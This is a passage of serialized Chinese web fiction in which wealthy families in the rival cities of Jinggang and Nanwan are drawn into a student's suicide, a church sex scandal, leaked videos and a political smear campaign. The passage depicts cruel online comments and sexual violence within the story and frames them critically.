姜花衫拿过沈眠枝手里的玉米咬了一口,状似很不经意,“不要在别人擅长的领域消耗自己,因为在他的领域你永远都赢不了。我们可以换个思路,改变规则或者更换战场,这个时候你就会发现对手根本不堪一击。” 她当然说不出这样的话,记忆时空里有个老人满脸无奈捡起地上掉落的棋子,“别生气了,爷爷教你另外一个办法赢好不好?” 沈眠枝心性聪敏却不够狡猾,学点迂回之道只有好处没有坏处。 沈归灵若有所思看向对面的女孩。 “叮咚——” 就在这时,门铃响了。 沈眠枝立马起身去开门,苏灼原本站在苏妙身后,一见开门的是沈眠枝,立马把苏妙挤到身后。 “我和妙妙打算回鲸港了,所以想来跟大家告别,会不会……打扰你们休息了?” 苏妙看着眼前比门板还宽的背影,一脸无语,喂!是她要来道别的! 沈眠枝礼貌笑了笑,“不会,进来说吧。” 苏灼立马跟了进去,反手把苏妙关在了门外。 苏妙,“……” * 再次进门的苏妙压根不想理苏灼,直接把姜花衫拉进卧室说悄悄话。 原本昨晚她是要留下跟姜花衫一起睡的,但苏灼非说不合礼数把她拽去了酒店,她左思右想怎么都没想通,几个女生一起睡觉有什么不合礼数的? 一问原因差点没把她气死。 苏灼一本正经说,“你睡相不好,不仅喜欢踢被子还说梦话,会影响沈小姐休息的。” 苏妙气呼呼关上门,“完了,没想到我们苏家继承人竟然是个恋爱脑,爷爷真是太惨了。” 姜花衫忍着笑意,“你要回去了?” 苏妙收敛神情,正色点了点头,“有些事终归是要去面对的,我不能一直躲了。” 姜花衫想了想,朝苏妙招手,“正好,有件我想拜托你。” “……” * 客厅里。 苏灼正襟危坐,目光时不时瞟向沈眠枝又不着痕迹移开。 沈归灵看在眼里不置一词。 就在这时,雷行从外面走了进来,“少爷。” 沈归灵顺势起身,“眠枝,我有些事要处理,你帮我招待一下阿灼哥。” 沈灼怔愣,心一下跳到了嗓子眼。 沈眠枝点头,笑着看向苏灼,“阿灼哥,你会下象棋吗?” 沈灼面前稳住自己的心思,“会,不过我下的不好。” 沈眠枝这次学聪明了。“没关系,我也不大会。” 另一边,雷行跟着沈归灵去书房议事。 “少爷,酒店的人都撤走了。” 沈归灵没有接话,雷行又说道,“少爷,我对不起您,高止肯定是发现了我昨晚是故意灌他的了。” “……”沈归灵完全没想到雷行自责的点竟然会是这个,沉默片刻才开口问道,“你怎么知道自己露馅了?” 雷行立马掏出手机,“您看,他把我拉黑了。” 沈归灵扫了一眼,眸光平静。 这时,界面忽然又跳出新提示。 对方已重新添加您为好友。 雷行一头雾水,不解看向沈归灵,“少爷,高止这是什么意思?” 沈归灵转头看向窗外的海港,思忖片刻道,“约他出来喝酒。” “啊?”雷行虽然不懂为什么少爷要做明知道会被拒绝的事,但还是听命行事。 与此同时的总统套房。 高止神情冷峻递上手机,“少爷,那憨包又约咱们喝酒,这是把咱们当傻子?!” 沈兰晞扫了一眼,“让他选地方。” …… 第337章 苏妙的选择 鲸港,苏宅。 苏母抱着苏妙泣不成声,“妙妙,好孩子,你终于回来了。” 苏父满脸欣慰,搂着妻子的肩膀,“我说什么?孩子不过是在外面玩两天,玩够了就回来了,你啊,偏是不信。赶紧把眼泪擦擦,别吓着孩子了。” 当着孩子的面哭,苏母也自觉不好意思,撇过头擦干眼泪又拉着苏妙上下打量。 “妙妙,下次不管去哪?一定要跟家里说一声,你看看我们都担心成什么样了?” “知道了。”苏妙应下,转头看向苏敬琉,“爷爷,对不起,我回来了。” 苏敬琉摆摆手,“回来就好,一家人有什么对不起的。” 苏韵站在人群之外,静静看着他们彼此寒暄。 苏敬琉察觉到了苏韵的异常,笑着打圆场,“行了,都坐吧,今天我们一家人总算能团团圆圆吃个饭了。” 苏妙脸上的笑容淡了不少,点头入座。 从踏进苏家开始,她都没有看过苏韵一眼,苏韵也明白了苏妙的态度,从头到尾都没有说过一句话。 苏莘心明眼亮,主动给苏妙舀了一勺最嫩的鱼肚,“妙妙,多吃点。” 苏妙低声道谢。 苏莘又转头看向苏韵,“阿韵,学校那边爸爸已经安排好了,从下个星期你就转去英才一班上课。” 苏韵点头,“谢谢爸爸。” 这声道谢不禁让苏莘眼眶微热,若不是他没有护好女儿,这些本该是苏韵唾手可得的东西。 苏妙嚼着碗里的鱼肉,忽然好想念南湾的火锅。 饭后,苏敬琉留苏妙在茶室叙话。 祖孙俩对面而坐,苏敬琉拿了几个橘子放在铁架上烤, 没一会儿屋子里飘满了橘香味。 眼看火候差不多,他用镊子剖开煨软的橘皮,挑出橘黄的果肉装在盘子里递给苏妙。 “之前爷爷在医院问过你,是否愿意原谅阿韵,现在,你有答案了吗?” 苏妙双手接过瓷盘,点头,“有答案了。” 苏敬琉抬头看着她。 苏妙毫不避讳,“爷爷,我不想原谅她。即使我知道这样会让你和爸爸、妈妈为难,这次我也不想妥协。” 苏敬琉点点头,“你说的对,这本是大人为难的事,爷爷不该为难你。是爷爷不好,不该问你这样的问题,不然你也不会对爷爷失望从医院逃走。” 苏妙愣了愣,“爷爷你不怪我?” 苏敬琉失笑,“爷爷怪不着你,你受了委屈,不管有什么情绪都是正常的。这件事,终归是爷爷没有保护好你们。” “爷爷,您别这么说。”这话让苏妙心里很不好受。 苏敬琉轻叹了一声,“你的意思爷爷明白了,但现在阿韵是一定要回来的,她……” “爷爷,我明白的。”苏妙盯着手里的果肉,“您不要求我为了大局原谅苏韵,同样,我也不能因为自己的患得患失逼你们放弃自己的骨血,她是苏家的孩子,是妈妈十月怀胎的骨肉,这些都是事实,我会尊重你们的选择。” 苏敬琉有些诧异,“你真这么想?” “嗯。”苏妙抬眸笑了笑,“姜花衫说,人要公平,如果爷爷没有逼迫我原谅苏韵,我也不能要求爷爷讨厌苏韵,因为立场不同,人会有两难的抉择,爷爷没有为难我,我就更没有资格为难爷爷。” 苏敬琉怎么都没想到,有一天苏妙能说出这么清醒独立的发言。 沉默片刻,他问道,“你说的姜花衫,就是沈老家那丫头?你去南湾就是去找她的?” 苏妙点头,“是,爷爷您忘记了?是她救了我。” 苏敬琉神情复杂,这么重要的事他怎么会忘?那孩子不单单救了苏妙,还救了苏家。 要不是姜花衫事先透露了棚户地址,还千叮万嘱一定要他亲自带人封锁现场,苏妙早就万劫不复了。 傅家布局多年,整个棚户区都在傅嘉盛的管辖之内,所以那些罪证一定会被掩埋,苏家也会因为苏妙成为全鲸港的笑话。 “等风波过去了,爷爷做东,约你的新朋友来家里坐坐。” 三年前,苏敬琉也曾提过类似的要求,当时苏妙就拒绝了,三年后,她依旧还是拒绝。 “她是我的朋友,我得先问问她意见,她愿意了才行。” “好好好。”苏敬琉失笑摇了摇头,忽然想到什么,神情又变地有些严肃,“还有一件事,爷爷需要征求你的意见,是……关于苏莉的。” 苏妙眼神有些微妙。 苏敬琉,“她想见你。” 苏莉从落在苏家手里第一天就吵着要见亲生女儿,甚至扬言要是苏家敢把她怎么样,苏妙以后一定会替她报仇。 苏敬琉原本不想让苏妙掺和进来,但是孩子们已经大了,光靠瞒是瞒不住的。 苏妙,“妈妈怎么想?” 这一声妈妈便说明了苏妙的态度,苏敬琉很是欣慰,“你母亲恨苏莉的所作所为,但她也分得清楚,你是你,她是她。” 苏妙眼中隐隐有些湿润,“我是被遗弃的孩子,我没有生母,只有养母。” 苏敬琉点头,有苏妙这句话他就放心了。 苏妙忽然想到什么,“但是,在此之前我还是想见见她。” …… 第338章 拒绝邀请 周一早晨,鲸港转阴,寒冬来袭。 温暖的豪车里,苏韵低头看着校服袖口的金色纽扣。育才的校服,英才纽扣为金色德才为银,仅仅是一粒扣子不同,待遇天壤地别。 灰蒙蒙的窗外,前面的豪车在岔路口忽然转弯,与学校的方向背道而驰。 出门时苏韵就注意到了,苏妙坐在那辆车上。 苏韵转头看向苏灼,苏灼的目光一直追随着前车,眼神隐隐有些担忧,当察觉到苏韵的目光后立马就收了回来。 “怎么了?” 苏韵犹豫片刻,还是问了出来,“苏妙去的方向好像不是学校。” 苏灼愣了愣,温和笑道,“她今天不去学校,我陪你去。” 苏韵点了点头,转头看向渐渐远去的车影。 她到底还是去看苏莉了。 * 车辆飞速驶入学校专用道路,同行车辆很快认出了苏家的车徽纷纷避让一边,苏韵下车时引起了不小的骚动。 “新生吗?这个时候还插班?来头不小。” “没看见她旁边站着的是谁吗?长的还挺漂亮的,就是不知道跟苏家什么关系?” 苏韵之前在学校刻意遮掩面容再加上平时存在感低,围观的同学一时之间也没有把她和德才那个品学兼优的丑女联系在一块。 苏灼从她手里接过书包,态度亲昵,“走吧。” 苏韵点头,安静跟在苏灼身侧。 英才、德才两栋大楼依旧泾渭分明,苏灼领着苏韵直接去了英才一班。 班主任老师早就得了消息,早早在教室里等着,一见两人立马迎了上去,亲切给苏韵介绍班里情况。 “沈同学为人和善又是班长,有她引导相信你很快就能融入集体。不过,她这两天正好请假,要有什么事可以直接找老师或者问问副班长。” 苏韵礼貌微笑,“谢谢老师。” 苏灼一听苏韵的同桌是沈眠枝,不由多了句嘴,“这么安排会不会太麻烦沈同学了?” 苏韵微愣,不解看向苏灼。 老师尴尬笑了笑,解释道,“放心,做安排之前已经问过沈同学,她很乐意。” 苏灼这才点点头,“老师费心了。” 老师做完新生引导工作立马折回办公室,苏韵则回到位置做课前准备工作。 英才和德才的教育理念截然不同,育才是为了培养肱骨牛马,英才则是为了培养优秀的决策者,所以课程体系也有些出入。 苏韵随意翻看了一会儿资料,这才想起苏灼还在旁边站着,微微有些不好意思,“阿灼哥,今天麻烦你了。” 虽然她和苏灼是亲兄妹,但毕竟空缺了十六年,两个人还是有些陌生。 苏灼看出了苏韵的别扭,抬手摸了摸她的头,“有什么麻烦不麻烦的,正好我也好久没回育才,顺道去拜会一下恩师,你放学给我打电话,一起回家。” 苏韵心头微暖,虽然有些不适应,但努力克制住偏头的欲望。 现在她的人生已经回到了正轨,不应该猜忌别人的善意。 苏灼从英才楼出去的同时,被封锁的顶层有人正拿着望远镜窥视他的背影。 “这丫头还真是苏家真千金?啧啧啧,败兴。”关鹤意兴阑珊,好不容易看上个喜欢的,竟然又不能玩了。 周宴珩双手插兜,凭栏俯视。 就在这时,兜里的手机发出震动,他拿出睇视了一眼,冷声笑了出来。 -【我拒绝你的邀请。】 只看了一眼,周宴珩便又不在意揣了回去。 * “放我出去!放我出去!你们要把我关到什么时候?我都说了我什么都不知道,我只不过是想要回我的女儿!你们凭什么关着我?凭什么?” 暗无天日的房间里,苏莉歇斯底里尖叫,从被关进来开始她就一直重复这样的话。 苏妙站在铁门之外,示意苏管家开门。 吱呀的开门声引起了苏莉的注意,她急切对着玻璃敲打。 “放我出去!放我出去!” 待看见玻璃之外的身影,苏莉癫狂的眼中透着欣喜,“妙妙!妙妙!我就知道你不会不管我的,我们才是亲生母女。” 苏妙环伺四周,这屋子没有光,被一面落地玻璃一分为二,她这边摆着审讯的椅子,苏莉那边的墙上挂着两盏巨大的白炽灯。 “妙妙,你让苏家放了我,我是无辜的,我什么都不知道。” 苏妙沉默着落座,盯着苏莉的脸细细打量,没有了那些花里胡哨的妆容,这张脸倒比她腌臜的性格看着干净多了。 “妙妙,救救我!!” 苏妙,“爷爷说我不是被调换的,是被遗弃的,所以我从出生你就放弃了我?” 苏莉愣了愣,表情微有些僵硬,“我也是为了你好啊,你跟着我根本没有出路,圣母医院都是有钱人,万一遇上个好心的有钱人你就不用跟我受苦了。” 她突然想到一个很好的佐证,“事实证明我想的也没错,苏家不是收养了你吗?” 苏妙说不上什么心情,“既然你不愿意被拖累,为什么又要收养苏家真正的女儿?” 苏莉眼中立马有了戒备,“说来说去你跟他们是一伙的,你不过就是想打探苏韵的事。想知道,可以,给我一笔钱!只要你们保证我的安全,我就把我知道的都告诉你们。” 还真是贪得无厌。 苏妙表情淡淡,“我觉得有必要提醒你一下,这里不是你接触的世界,你自以为的筹码对苏家人来说不值一提。你真的以为苏家人查不到你背后的人?你现在还能完好站在这仅仅只是因为爷爷还顾虑我,如果没有这层关系,单凭你对苏韵做的事,苏家能让你死上一万次。” 苏莉顿时脸色苍白,她不过也是外强中干,为了活命才虚张声势。 现在被苏妙拆穿,苏莉索性也不装了,扑倒在地哭喊道,“我这么做也是因为你啊,只要让苏韵永远回不了苏家就没有人可以跟你争了。你救救我,妙妙,我不想死,你跟苏老爷子求求情,我也是迫不得已啊,是他们逼迫我的。” 苏妙站起身,隔着一睹玻璃温声道,“我会帮你,因为只有把你的罪恶降低,爷爷才不会迁怒我。这是我最后一次来见你,今日之后我们母亲缘尽,要不要说实话就看你自己了。” …… 第339章 掌棋为上 “赵肆?” 姜花衫坐在卧室的沙发里,挑眼看着海港夜景,“这么说苏莉全招了?” 沈眠枝洗完澡从洗浴间出来,见她在打电话用口型问道,“妙妙?” 姜花衫点头,直接把手机放成扩音。 苏妙的声音从电话另一边传来。 “嗯,我骗她说会向爷爷求情她就信了。她说,当年她从医院逃出来没多久就有一群人找到了她,还让她帮忙抚养一个女婴。那个母婴就是苏韵,原本她是不愿意的,可那些人凶神恶煞威逼利诱,她反抗不了最后只能接受。那个赵肆就是那群人的老大。” “出事那天有一伙人在外面接应,赵肆就在其中,不过他现在已经落到了爷爷手里,爷爷说赵肆一直暗地里帮傅嘉明办事,棚户区的地下赌场就是赵肆在打理。” 傅嘉明? 姜花衫有些意外,他一直以为傅家这些决策都是傅嘉盛和傅岭南搞出来的。 “那……那天的事,苏莉是怎么解释的?” 苏妙顿了顿,“具体的内幕苏莉并不是很清楚,只说赵肆一直想让苏莉把苏韵引荐给教会,但苏韵每次都有借口躲过,赵肆后来不耐烦说等不了这么久了,就……就找了一群人准备……” 她有些说不下去了。 姜花衫立马转过话题,“都过去了。” 苏妙嗯了一声,“是啊,过去了。” 姜花衫念头一转,忽然察觉到一丝不对劲,“傅家为什么处心积虑要引苏韵入教会?教会里面有什么?” 苏妙,“我问过苏莉,但她不知道,不过她说棚户区的多数女生都去了教会,每个月做四次礼拜,家里还有钱拿。” 姜花衫垂眸,神情渐渐严肃。 不知怎得,脑子里没预兆地闪过那段被剧目强行修正的剧情。 难道,那群女生在教会? 苏妙,“怎么了?怎么不说话了?” 姜花衫深吸了一口气,“妙妙,这件事可能还没有结束,你……” 她话还没说完,沈眠枝忽然发出一声短促的惊呼。 “衫衫,出事了!” * “啊啊啊啊!!!” “跳楼了!死人了!” 惊慌失措的尖叫声响彻了整个育才上空,人群如热锅上的蚂蚁焦急混乱。 苏韵神情呆滞看着脚下的尸体,那张脸血肉模糊却那么熟悉。 鲜血大面积晕开,沾上了她今天新换的白鞋。 三分钟前,苏韵收到了一条短信。 -【赵棠:我现在很痛苦,既然你是苏家大小姐你一定可以帮我,我在英才顶楼等你,我的好朋友。】 她删了信息,背着书包书出了教室。 -【赵棠:你不敢来?你怕?亲手把我推进地狱的人竟然会怕?】 -【赵棠:你别想逃,我会在地狱一直等你的。】 一条接一条的信息,就在她删除最后一条消息时,眼前突然坠下一道黑影,砰的一声巨响拦住她脚下的路。 世界失序,她的路好像怎么走都走不干净了。 * 姜花衫和沈眠枝坐在客厅电视机前,南湾地方台正在直播这场校园事故。 混乱的人群中,苏韵像一只失去方向的小船停驻在血地前,直到苏灼奋不顾身将她搂在怀里才避过了镜头。 一个小时后,赵棠的父母哭着向新闻媒体喊冤,并公布了赵棠生前一封未寄出的遗书,上面详细记述了她在教会经历的一切,由此西林教会性N丑闻被曝光。 随着遗书背后的故事不断被深挖,一段西林内部的隐蔽视频突然在网上疯传,视频正好记录了赵棠被推进深渊的整个过程。 由此,苏韵的‘恶行’也被公之于众,A国民众震怒不已! 【天哪!她有什么错?她只是因为信任朋友却被推进了地狱!】 【都不敢想象她当时有多绝望,伥鬼朋友带着伪善的面具欺骗了她!】 【恶毒伥鬼,去死!】 短短三个小时不到,苏韵的身份就被人扒了出来,甚至有人贴出她与苏灼亲密的合照,苏家被推上了风口浪尖。 【看视频,伥鬼明显是提前预谋好的,说明她一开始就知道教会里有什么勾当,苏家和教会绝对脱不了干系!】 【今日若我们冷眼旁观,下一个被伥鬼谋害的就是我们的亲人、孩子!求政府彻查,将杀人凶手绳之以法。】 事态愈演愈烈,鲸港政府门口民众开始示威游行,要求苏家出面给公众一个交代,甚至有激进者直接挂着【交出杀人凶手】的告示牌在苏宅门口静坐。 …… 沈眠枝关了电视,转头看向姜花衫,“育才一向戒严,媒体竟然能拍到第一现场,苏家和苏韵这是被设计了。” 姜花衫一言不发看着茶几上的棋盘。 上一世,赵棠跳楼留下的遗书里把她塑造成了一个十恶不赦的霸凌者,所有人都觉得人之将死其言也善,便在没有任何真凭实据的情况下给她定了罪。 那时,她既困惑又委屈,为什么一个人连死都不怕,却不敢说真话?现在她明白了,赵棠从来都不是勇士,她只不过是个被傅家操控的恶毒傀儡。 对上一世的她而言,赵棠才是真正的伥鬼,生命的最后一刻她不思反抗,而是要想尽办法把另一个人拉进深渊。 原以为她躲在南湾,傅潇潇在家养病,赵棠的剧情就走不了,没想到竟然转嫁到了苏韵身上。 赵棠还是死了,这三年该发生的剧目一个都没能逃脱。 “衫衫?”沈眠枝察觉到了姜花衫的异样,小声喊了她一句。 姜花衫缓神,转头看向沈眠枝,“枝枝,有件事要拜托你。” “你说。” 姜花衫,“现在回鲸港,帮我……” * 夜幕笼罩,城市灯火如昼。 姜花衫坐着双腿盘坐在地毯上,漫不经心摆弄着手里的棋子。 现在是剧目世界的领域,在这个剧本里不管她怎么翻腾都改变不了结局。 所以,应该要换个思路了。 或许她可以写个新剧本,在她的剧本里,剧目就是坨屎。 …… 第340章 苏傅之争 鲸港,周宅。 傅岭南起身告辞,“行了,时候不早了,我这把老骨头得回去休息了。” 周国潮半真半假打趣道,“早就跟你说了,人啊,就得服老,该退的时候就退,给年轻人一点机会。”说罢,意味深长看向一旁的傅嘉盛,“阿盛,你说是不是啊?” 傅嘉盛假装听不懂,虚笑着点头,“周叔说笑了。” 周国潮笑了笑,一番寒暄亲自将人送出庄园。 上车后,傅岭南和傅嘉盛同时沉下脸。 傅嘉盛看着反光镜里渐渐缩小的周宅,言语间满是不甘,“爸!这周老贼胃口也太大了,竟然开口就是南北湾一半轻轨线,他这明显是趁火打劫。” 傅岭南倒比儿子沉得住气,虽有不满还是冷静道,“想要周国潮这只老狐狸露尾巴,不出点血怎么行?不过现在既然周家已经应了口,咱们的局面可就好办多了。这笔账我总得从苏家手里讨回来。” 闻言,傅嘉盛的脸色稍稍有些缓和,“爸说的是。” 傅岭南,“苏敬琉竟然想跟我鱼死网破,那就看看最后到底鹿死谁手。嘉盛,你通知联盟其他成员,既然沈家一口吃不下,那就先从苏家开始,周家已经应口,其余的按计划行事。” “是。” “那些人一个个都是豺狼虎豹。“傅岭南又道:“想吃又不愿露头,天底下哪有这么好的事?告诉他们,这次大宴我傅家必须要坐上席。” * 周国潮站在白门之下,静静看着傅家的车消失在夜色中。 “爷爷这是答应傅家了?” 周宴珩从白门后走了出来,顺着周国潮的方向看了看,“我以为您还会再等等。” 周国潮这才把视线收回落在眼前的少年身上,“等什么?” 周宴珩,“沈家老爷子不是还没回国吗?您不等沈家的态度了?” 周国潮思忖片刻朝他招手,“跟爷爷走走?” 周宴珩慢步走近,虚心轻扶着周国潮的胳膊。 周国潮看了他一眼,问道,“阿珩,你为什么觉得爷爷要等沈家的态度?” 周宴珩不假思索,“爷爷不是一贯如此吗?” 周国潮,“就因为一贯如此,所以非常时刻才不能等。你以为傅家为什么偏偏挑在这个时候对苏家动手?苏家长子如今是国务院主理,也是下一任总统的有力竞争者,总统大选在即,你当真以为这件事只是苏傅两家之争?” 周宴珩还是有些不明白,“爷爷不是不参和总统内务吗?” 周国潮,“不掺和是因为在过去的百年里,周家没有赢面。沈家有沈玺,苏家有苏莘、苏游,你父亲资质善可却无大才,只有退避急流还能有一争之力。你以为凭余斯文为什么能赢到最后,正是因为他不属于任何一方资本,能以利相诱的棋子,决策者才欢迎他上桌。” 周宴珩若有所思,“听您的意思,苏家这次是被人围剿了?” 周国潮笑了笑,眸光深邃,“一鲸落,万物生,阿珩,你记住,越是登顶越不能倒下,因为下面多是想踩着你的尸骨上位的逐利者,今天是苏家,明天就可能是王家、李家。” “这么说,苏家这局棋是必败了?” 周国潮,“目前来看,的确如此。” 因为群起攻之必有后招。 * 苏宅。 苏敬琉靠着软椅,神情疲惫。 苏莘满是愧疚,起身给老父亲倒了杯热茶,“爸,喝茶。” 苏敬琉接过茶,转头看向苏灼,“阿韵怎么样?没吓着吧?事情没解决之前,这段时间暂时不要去学校了。” 苏灼点头,“爷爷放心吧,我会照顾好妹妹的。” “她之前受了太多苦,心思比较敏感,外面的声音尽量隔绝,门口那些人先冷处理,省的被有心人抓到把柄。” 苏敬琉又转头叮嘱苏莘,“对方来势汹汹明显是冲着你来的,阿韵这次是无妄之灾。” 政治博弈从来只论目的不论手段,苏家将傅家拉进三年前的卖国案,傅家反手就把苏家推进宗教丑闻。 要知道在A国,天恩教的信众占人口总数30%,平均每十个A国人中就有三个天恩教信众,教会发生性N丑闻,不少民众的信念都崩塌了。 苏家如果不能跟教会划清界限,口碑将全面崩塌,失去公信力的家族将被推出决策者的舞台。 * “阿韵,你开门啊,你心里有什么委屈可以跟妈妈说,你别把自己关在房子里。” 房间里幽暗无光,苏韵双手抱膝把自己抱成一团,对外面的声音充耳不闻。 苏母不敢催的太急,隔着门板轻声安慰,“阿韵,你别担心,爷爷和爸爸会找到解决办法的。” 苏妙看不下去了,轻扶着苏母小声道,“妈妈,你一天都没有休息了,我先扶您回去。” 苏母摆摆手,“我不累,我想在这陪陪阿韵。” 苏妙气不顺,对着房门用力踹了一脚,一声巨响把身边的苏母和阿姨都吓了一跳。 “苏韵你是不是有病啊?你要就这点能耐趁早滚出苏家。” “妙妙!”苏母惊呼,一把拉住苏妙,“你怎么说话的?” 苏妙大声,“我怎么说话了?您在这喊了一晚上了一口水都没有喝,她开门了吗?不是千方百计想回来了?现在回来了为什么不珍惜,苏莉给过你好脸吗?你敢这么对苏莉吗?” “妙……” 话音未落,门房打开了。 苏韵站在门口,冷冷看着苏妙,“你有什么资格在我面前提苏莉?” “阿韵,妙妙她无心的,她……” 不等苏母说完,苏妙直接打断,横挡在苏母面前,“我为什么没有资格提苏莉,她是她,我是我,她虐待你是你和她之间的事,我为什么要对你有愧疚?” 苏韵红着眼,抓着门把手准备关门,苏妙直接一脚踹住。 “有句话我早就想说了,苏韵,你推我的时候都没有想过道歉,怎么面对赵棠就心生愧疚了?是因为她死了,我还好好站在这吗?如果真是这样,你实在是太可笑了,真是恶心至极。” “够了!”苏母厉声打断,一把拉开苏妙,“妙妙,我不许你这么说姐姐。” “她不是我姐姐!”苏妙怒声回怼,掷地有声,“我从来没有承认过她,不管是作为苏家人还是妈妈的女儿,她都不合格!我最讨厌的就是她!” 苏母怔愣,一时不知该如何反应。 苏韵看着苏妙的眼睛,指尖渐渐收拢,“你说的轻巧,那是因为你从来都是受益者,不曾感受过别人的苦难,所以你只会冠冕堂皇,只会高高在上。如果你变成受害者,你还会像你现在这么清高吗?” 苏妙冷笑,“我不会,但我也不会像你这么刻薄。”说完,头也不回下了楼。 …… 第341章 纷争开始 翌日。 为了保护苏韵,苏莘召开新闻发布会,正式承认了苏韵苏家大小姐的身份。 之前苏莘都是以国家领导人的身份出现在公众面前,唯独这次,他只是一位父亲。 苏莘简单讲诉了女儿出生被盗的经过,并公布了苏韵这十六年的生活轨迹。 她勤奋好学积极向上,奈何养母嗜赌成性丧尽天良,从小对她极尽苛责,即便如样她还是以优异的成绩考进了A国第一学府。 她的生活简单平静,赵棠是她成长路上唯一亲近的伙伴,她们一起走出无数次小巷的深夜,一起憧憬未来。 但即便她这么努力,生活还是没有放过她,她最好的朋友早就成了教会信徒,为了逃离魔爪便计划将她推入深渊,她被迫无奈才有了视频里的那一幕。 这番言辞恳切的发言挽回了不少民众的心,虽然还是有人对苏莘的发言持有怀疑态度,但紧接着圣母医院、警署局、以及校方都出面证实了苏莘言论的真实性。 发布会的最后,苏莘对着公众深鞠一躬,发出灵魂质问,“求生是所有人自主的本能,面对罪恶她只是没有选择宽恕,但罪恶真的值得我们宽恕吗?作为父母,我想大家心中应该都有答案。” 电视机里的男人,两鬓斑白儒雅沉稳,他对着镜头弯下腰的那刻,苏韵再也控制不住,放声大哭了出来。 教堂的视频被公布之后,她一直都在做噩梦,梦见所有人都责骂她,苏家也因为忍受不了她的恶毒把她赶了出来。 可她万万没想到,风口浪尖,苏家竟然顶着这么大的骂名认下了她,她终于不是一再被遗弃的选择了。 苏韵擦干眼泪,鼓起勇气推开房门,止住的泪水又断了线。 苏母搬了张椅子坐在门外,见她出来立马笑着站起身,“饿了吧?一天没有……” 话没说完,苏韵一把抱住苏母,“对不起,妈妈。” 苏母眼眶微红,“说什么傻话,以前是爸爸妈妈没有保护好你,以后不会了。” 为母则刚,她不敢哭怕孩子笑话。 * 苏、傅两家的较量越演越烈。 苏莘前一天才开完新闻发布会,后一天苏家又爆出大雷。 棚户区水泥房子里阴暗一夜间在网上不胫而走。 视频清晰记录,苏韵将苏妙推进了铁门,镜头一换,变成了苏妙的受害现场。 割裂的撕扯,衣角被掀开露出雪白的一片,镜头戛然而止。 【怪不得都说豪门脏,新生女儿陷害养女,他们还帮着新生女儿立勤奋好学、可怜自强的人设,真是笑死人了!】 【天哪!八个男人,同样是女生,苏韵怎么下的了手,就应该把她丢进难民营尝尝被人践踏的滋味。】 【你们都骂苏韵,难道就没有人好奇苏妙吗?被人LJ以后她还怎么活?听说现在还住在苏家,估计人都已经被控制了,不然脑残才会原谅苏家这种吸血鬼吧?】 …… 【哈哈哈,只想说那八个兄弟吃的真好,有没有详情视频啊?求种子!】 【苏妙的人生算是毁了,要是没被曝光,去医院修复***说不定还能找到个接盘侠联姻,现在只怕倒贴都没人要了。】 【大小姐腰好白啊!哈哈哈哈哈】 …… 视频一出,不单单是苏韵再次被冠上‘恶毒’的标签,就连苏妙都被钉在耻辱柱上公开处刑。 有人故意带节奏,他们对苏妙遭受的灾难避而不谈,反而落井下石以贞操论贬低女性。 苏宅上空再次被阴霾覆盖。 最接受不了事实的是苏母,她一直以为苏妙不回家是因为接受不了自己的身份,没想到真相竟然如此残酷。 苏韵把自己锁在房子里的时候,她还可以在门外守着陪着,但苏妙出事,她连出现在女儿面前的勇气都没有。 事情愈演愈烈,很快有人发起对苏莘的抗议。 有人指责他虚开新闻会愚弄民众。 有人质疑他的能力,古人云修身齐家治国平天下,苏莘身不正,家不齐这样人根本不足以担任国务院主理一职。 更有人指出苏家蛇鼠一窝,德行不端无应该彻查。 * 育才秘密花园。 一群人鬼吼鬼叫,对着巨幕连吹口哨拍手叫好,镜头卡在衣角被掀开,一群男生不约而同开始起哄。 “关鹤哥,你还真是有眼光啊,那个苏韵竟然是苏家大小姐,你们……” 话说一半,起哄的男生们又大笑起来。 关泽翘着二郎腿,笑骂道,“滚边去,老子的事别打听。” “别这么小气嘛~说来听听。” “滚,看你们的视频。” “这有什么好看的,一堆没用的前戏,后面还得自己想象。” “那你想看什么,真录出来苏妙不得自杀,哈哈哈哈。够牛逼的,1V8……” 男生话还没说完,迎面泼来一杯啤酒。 前一秒还是哄堂大笑的气氛下一秒就静了下来。 乔金锦撩着眼皮,“酒醒了?” 被泼酒的男生立马低头站好,“乔少爷。” 关鹤回头看向门口的周宴珩,一脸问号。 乔金锦随意扯了张纸巾擦手,擦完揉成一团直接砸在男生的脸上。 他转头看向周宴珩,“以后出来要再有这些垃圾,别叫我。” 周宴珩笑了笑,朝另外几个使了个眼色,一群人会意,立马把男生拖了出去。 关鹤啧啧咂舌,“你什么时候这么有正义感了?” 乔金锦斜睨了他一眼,“你小时候偷看八十岁太奶洗澡都是我报的警,你说我什么时候有的。” 关鹤跳起身飞踢,“滚。” * 与此同时的南湾。 姜花衫关了电视,转头拨通了沈庄的电话。 “爷爷,我有个大胆的决定。” …… 第342章 准备好战斗了吗? S国。 皇族晚宴,香鬓云影,觥筹交错。 沈庄坐在上席,女王白朱拉亲自作陪,S国的皇族贵族纷纷上前示好,周元正作为外交团总局也只能坐在沈庄下手陪笑。 沈清予一身黑色西装,手拿香槟站在沈庄身后,少年眉宇不羁惹得宴会上的姑娘们频频相顾。 从国访之后连日来都是宴会,沈清予已经无聊地要发霉了。 这时,内衬口袋里的手机忽然震了一下,他拿出看了一眼,目光忽而一怔。 沈清予转头看向沈庄,犹豫片刻放下香槟,弯下腰附耳,声音极低,“爷爷,小花儿打电话来了。” 沈庄站起身,朝白朱拉点了点头,转头往宴客偏殿走去。 周元正就坐在旁边,虽然他没有听见沈清予说了什么,但他知道,能让沈庄这个时候丢下女王这件事一定关系重大。 自然而然地,周元正就联想到了近日的苏傅两家之争。 昨天周家传来消息,说苏、傅两家之争近日就会有结果,让他多盯着沈庄。 难不成沈家有谋算了? 周元正一直惦记着周国潮的交待,心里不觉起了疑心。 贵客偏殿一般人不允许入内,沈庄入殿前沈执先检查了一圈,确认安全后便守在殿外。 “小花儿?是不是想爷爷了?”沈庄原本一脸严肃,接通电话那刻语气不由带着几分轻快。 姜花衫不知说了什么?沈庄配合瞪大了眼睛,“有多大胆?说给爷爷听听?” 沈清予站在一旁,侧耳想偷听,但电话声筒经过特别处理半点风声都听不到。 沈庄沉默片刻,“爷爷知道了,如果这是你觉得正确的事,爷爷支持你。” 挂了电话,沈庄坐在座位上迟迟没有起身,沈清予不解,“爷爷,您怎么了?” 沈庄摇头,“没什么,突然有点想家了。” 那孩子第一次做这么大的决定,他得回去给她撑腰。 沈清予思绪微转,“爷爷,是因为小花儿吗?咱们跟白家的恩怨不是已经协商好了了吗?您要想回明天就可以回。” “三日后才是回国宴,竟然是代表A国出访就该以国事为重。”沈庄站起身,“走吧,晚宴我们是主客,缺席太久为免失礼。” 最重要的是,孩子长大了,要适当学会放手了。 * 